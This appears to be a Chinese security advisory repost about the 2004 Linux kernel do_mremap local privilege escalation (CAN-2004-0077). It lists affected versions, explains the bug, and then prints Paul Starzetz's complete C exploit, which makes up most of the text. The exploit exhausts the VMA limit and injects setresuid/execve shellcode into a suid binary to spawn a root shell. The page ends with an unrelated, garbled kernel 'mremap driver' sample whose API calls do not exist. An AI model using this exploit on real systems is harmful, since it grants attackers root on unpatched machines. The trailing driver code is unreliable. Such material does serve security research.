Linux Kernel do_mremap VMA本地权限提升漏洞

Linux Kernel do_mremap VMA本地权限提升漏洞

日期:2004-03-05

发布日期:2004-02-18
更新日期:2004-03-03

受影响系统:
Linux kernel 2.6.2
Linux kernel 2.6.1
Linux kernel 2.6
Linux kernel 2.4.9
Linux kernel 2.4.8
Linux kernel 2.4.7
Linux kernel 2.4.6
Linux kernel 2.4.5
Linux kernel 2.4.4
Linux kernel 2.4.3
Linux kernel 2.4.24
Linux kernel 2.4.23
Linux kernel 2.4.22
Linux kernel 2.4.21
Linux kernel 2.4.20
Linux kernel 2.4.2
Linux kernel 2.4.19
Linux kernel 2.4.17
Linux kernel 2.4.16
Linux kernel 2.4.15
Linux kernel 2.4.14
Linux kernel 2.4.13
Linux kernel 2.4.12
Linux kernel 2.4.11
Linux kernel 2.4.10
Linux kernel 2.4.1
Linux kernel 2.4
Linux kernel 2.2.9
Linux kernel 2.2.8
Linux kernel 2.2.7
Linux kernel 2.2.6
Linux kernel 2.2.5
Linux kernel 2.2.4
Linux kernel 2.2.3
Linux kernel 2.2.25
Linux kernel 2.2.24
Linux kernel 2.2.23
Linux kernel 2.2.22
Linux kernel 2.2.21
Linux kernel 2.2.20
Linux kernel 2.2.2
Linux kernel 2.2.19
Linux kernel 2.2.18
Linux kernel 2.2.17
Linux kernel 2.2.16
Linux kernel 2.2.15
Linux kernel 2.2.14
Linux kernel 2.2.13
Linux kernel 2.2.12
Linux kernel 2.2.11
Linux kernel 2.2.10
Linux kernel 2.2.1
Linux kernel 2.2
Linux kernel 2.4.18
    - Conectiva Linux 8.0
    - Conectiva Linux 7.0
    - Debian Linux 3.0
    - Mandrake Linux 8.2
    - Mandrake Linux 8.1
    - RedHat Linux 8.0
    - RedHat Linux 7.3
    - Slackware Linux 8.1
    - Slackware Linux 8.0
    - SuSE Linux 8.2
    - SuSE Linux 8.1
不受影响系统:
Linux kernel 2.6.3
Linux kernel 2.4.25
Linux kernel 2.2.26
描述:
--------------------------------------------------------------------------------
CVE(CAN) ID: CAN-2004-0077

Linux是一款开放源代码操作系统。

Linux内核中mremap(2)系统调用由于没有对函数返回值进行检查,本地攻击者可以利用这个漏洞获得root用户权限。

mremap系统调用被应用程序用来改变映射区段(VMAs)的边界地址。mremap()系统调用提供对已存在虚拟内存区域调整大小。从VMA区域移动部分虚拟内存到新的区域需要建立一个新的VMA描述符,也就是把由VMA描述的下面的页面表条目(page table entries)从老的区域拷贝到进程页表中新的位置。

要完成这个任务do_mremap代码需要调用do_munmap()内部内核函数去清除在新位置中任何已经存在的内存映射,也就是删除旧的虚拟内存映射。不幸的是代码没有对do_munmap()函数的返回值进行检查,如果可用VMA描述符的最大数已经超出,那么函数调用就可能失败。

isec利用这个漏洞通过页表缓冲(page table cache)使包含在页中的恶意指令被执行。详细方法可参看如下地址:

http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt

<*来源:Paul Starzetz (paul@starzetz.de)
  
  链接:http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Paul Starzetz (paul@starzetz.de)提供了如下测试方法:

/*
*
*    mremap missing do_munmap return check kernel exploit
*
*    gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
*    ./mremap_pte [suid] [[shell]]
*
*    Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
*
*    THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
*    AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
*    WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>

#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/utsname.h>

#include <asm/page.h>


#define str(s) #s
#define xstr(s) str(s)

//    this is for standard kernels with 3/1 split
#define STARTADDR    0x40000000
#define PGD_SIZE    (PAGE_SIZE * 1024)
#define VICTIM        (STARTADDR + PGD_SIZE)
#define MMAP_BASE    (STARTADDR + 3*PGD_SIZE)

#define DSIGNAL        SIGCHLD
#define CLONEFL        (DSIGNAL|CLONE_VFORK|CLONE_VM)

#define MREMAP_MAYMOVE    ( (1UL) << 0 )
#define MREMAP_FIXED    ( (1UL) << 1 )

#define __NR_sys_mremap    __NR_mremap


//    how many ld.so pages? this is the .text section length (like from cat    
//    /proc/self/maps) in pages
#define LINKERPAGES    0x14

//    suid victim
static char *suid="/bin/ping";

//    shell to start
static char *launch="/bin/bash";


_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,        
      ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len,
             unsigned long new_len, unsigned long flags,
             unsigned long new_addr);

static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
static int i, pid=0;
static char *env[2], *argv[2];
static ulong ret;


//    code to appear inside the suid image
static void suid_code(void)
{
__asm__(
    "        call    callme                /n"

//    setresuid(0, 0, 0), setresgid(0, 0, 0)
    "jumpme:    xorl    %ebx, %ebx            /n"
    "        xorl    %ecx, %ecx            /n"
    "        xorl    %edx, %edx            /n"
    "        xorl    %eax, %eax            /n"
    "        mov    $"xstr(__NR_setresuid)", %al    /n"
    "        int    $0x80                /n"
    "        mov    $"xstr(__NR_setresgid)", %al    /n"
    "        int    $0x80                /n"

//    execve(launch)
    "        popl    %ebx                /n"
    "        andl    $0xfffff000, %ebx        /n"
    "        xorl    %eax, %eax            /n"
    "        pushl    %eax                /n"
    "        movl    %esp, %edx            /n"
    "        pushl    %ebx                /n"
    "        movl    %esp, %ecx            /n"
    "        mov    $"xstr(__NR_execve)", %al    /n"
    "        int    $0x80                /n"

//    exit
    "        xorl    %eax, %eax            /n"
    "        mov    $"xstr(__NR_exit)", %al        /n"
    "        int    $0x80                /n"

    "callme:    jmp    jumpme                /n"
    );
}


static int suid_code_end(int v)
{
return v+1;
}


static inline void get_esp(void)
{
__asm__(
    "        movl    %%esp, %%eax            /n"
    "        andl    $0xfffff000, %%eax        /n"
    "        movl    %%eax, %0            /n"
    : : "m"(old_esp)
    );
}


static inline void cloneme(void)
{
__asm__(
    "        pusha                    /n"
    "        movl $("xstr(CLONEFL)"), %%ebx        /n"
    "        movl %%esp, %%ecx            /n"
    "        movl $"xstr(__NR_clone)", %%eax        /n"
    "        int  $0x80                /n"
    "        movl %%eax, %0                /n"
    "        popa                    /n"
    : : "m"(pid)
    );
}


static inline void my_execve(void)
{
__asm__(
    "        movl %1, %%ebx                /n"
    "        movl %2, %%ecx                /n"
    "        movl %3, %%edx                /n"
    "        movl $"xstr(__NR_execve)", %%eax    /n"
    "        int  $0x80                /n"
    : "=a"(ret)
    : "m"(suid), "m"(argv), "m"(env)
    );
}


static inline void pte_populate(unsigned addr)
{
unsigned r;
char *ptr;

    memset((void*)addr, 0x90, PAGE_SIZE);
    r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
    ptr = (void*) (addr + PAGE_SIZE);
    ptr -= r+1;
    memcpy(ptr, suid_code, r);
    memcpy((void*)addr, launch, strlen(launch)+1);
}


//    hit VMA limit & populate PTEs
static void exhaust(void)
{
//    mmap PTE donor
    t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
          MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
    if(MAP_FAILED==t)
        goto failed;

//    prepare shell code pages
    for(i=2; i<LINKERPAGES+1; i++)
        pte_populate(victim + PAGE_SIZE*i);
    i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
    if(i)
        goto failed;

//    lock unmap
    base = MMAP_BASE;
    cnt = 0;
    prot = PROT_READ;
    printf("/n"); fflush(stdout);
    for(;;) {
        t = mmap((void*)base, PAGE_SIZE, prot,
             MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
        if(MAP_FAILED==t) {
            if(ENOMEM==errno)
                break;
            else
                goto failed;
        }
        if( !(cnt%512) || cnt>65520 )
            printf("/r    MMAP #%d  0x%.8x - 0x%.8lx", cnt, base,
            base+PAGE_SIZE); fflush(stdout);
        base += PAGE_SIZE;
        prot ^= PROT_EXEC;
        cnt++;
    }

//    move PTEs & populate page table cache
    ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,    
             MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
    if(-1==ret)
        goto failed;

    munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
    t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,        
         PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,
         0);
    if(MAP_FAILED==t)
        goto failed;

    *t = *((unsigned *)old_esp);
    munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
    printf("/n[+] Success/n/n"); fflush(stdout);
    return;

failed:
    printf("/n[-] Failed/n"); fflush(stdout);
    _exit(0);
}


static inline void check_kver(void)
{
static struct utsname un;
int a=0, b=0, c=0, v=0, e=0, n;

    uname(&un);
    n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
    if(n!=3 || a!=2) {
        printf("/n[-] invalid kernel version string/n");
        _exit(0);
    }

    if(b==2) {
        if(c<=25)
            v=1;
    }
    else if(b==3) {
        if(c<=99)
            v=1;
    }
    else if(b==4) {
        if(c>18 && c<=24)
            v=1, e=1;
        else if(c>24)
            v=0, e=0;
        else
            v=1, e=0;
    }
    else if(b==5 && c<=75)
        v=1, e=1;
    else if(b==6 && c<=2)
        v=1, e=1;

    printf("/n[+] kernel %s  vulnerable: %s  exploitable %s",
        un.release, v? "YES" : "NO", e? "YES" : "NO" );
    fflush(stdout);

    if(v && e)
        return;
    _exit(0);
}


int main(int ac, char **av)
{
//    prepare
    check_kver();
    memset(env, 0, sizeof(env));
    memset(argv, 0, sizeof(argv));
    if(ac>1) suid=av[1];
    if(ac>2) launch=av[2];
    argv[0] = suid;
    get_esp();

//    mmap & clone & execve
    exhaust();
    cloneme();
    if(!pid) {
        my_execve();
    } else {
        waitpid(pid, 0, 0);
    }

return 0;
}
 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
下面是一个响应mremap系统调用的内核驱动程序示例: ```c #include <linux/module.h> #include <linux/kernel.h> #include <linux/mm.h> #include <linux/mman.h> #include <linux/fs.h> #include <linux/slab.h> #include <linux/uaccess.h> #include <linux/version.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("Your Name"); MODULE_DESCRIPTION("mremap driver"); static int my_mremap(struct file *filep, struct vm_area_struct *vma, unsigned long old_addr, unsigned long old_size, unsigned long new_addr, unsigned long new_size) { int ret = 0; struct page *page = NULL; if (new_size > old_size) { // Expand memory mapping unsigned long npages = (new_size - old_size) >> PAGE_SHIFT; while (npages-- > 0) { page = alloc_page(GFP_KERNEL); if (!page) { printk(KERN_ERR "Failed to allocate page\n"); ret = -ENOMEM; goto out; } ret = vm_insert_page(vma, new_addr + old_size, page); if (ret < 0) { printk(KERN_ERR "Failed to insert page\n"); __free_page(page); goto out; } old_size += PAGE_SIZE; } } else if (new_size < old_size) { // Shrink memory mapping unsigned long npages = (old_size - new_size) >> PAGE_SHIFT; while (npages-- > 0) { page = vmalloc_to_page((void *) new_addr + new_size); if (!page) { printk(KERN_ERR "Failed to get page\n"); ret = -EFAULT; goto out; } ret = vm_delete_page(vma, new_addr + new_size, page); if (ret < 0) { printk(KERN_ERR "Failed to delete page\n"); goto out; } __free_page(page); old_size -= PAGE_SIZE; } } // Update memory mapping vma->vm_end = new_addr + new_size; vma->vm_pgoff = new_addr >> PAGE_SHIFT; out: return ret; } static const struct file_operations fops = { .mremap = my_mremap, }; static int __init mremap_init(void) { int ret = 0; ret = register_chrdev(0, "mremap", &fops); if (ret < 0) { printk(KERN_ERR "Failed to register device\n"); goto out; } printk(KERN_INFO "mremap driver loaded\n"); out: return ret; } static void __exit mremap_exit(void) { unregister_chrdev(0, "mremap"); printk(KERN_INFO "mremap driver unloaded\n"); } module_init(mremap_init); module_exit(mremap_exit); ``` 以上代码中,我们定义了一个my_mremap()函数来处理mremap系统调用。在这个函数中,我们首先检查新的映射大小是否比旧的映射大小大,如果是,则分配新的页面,并将它们插入到内存映射区域中。如果新的映射大小比旧的映射大小小,则删除不再需要的页面。 最后,我们更新内存映射区域的大小和页偏移,并返回适当的错误代码。我们将这个函数作为file_operations结构体的mremap字段的值,以便内核可以调用它来处理mremap系统调用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值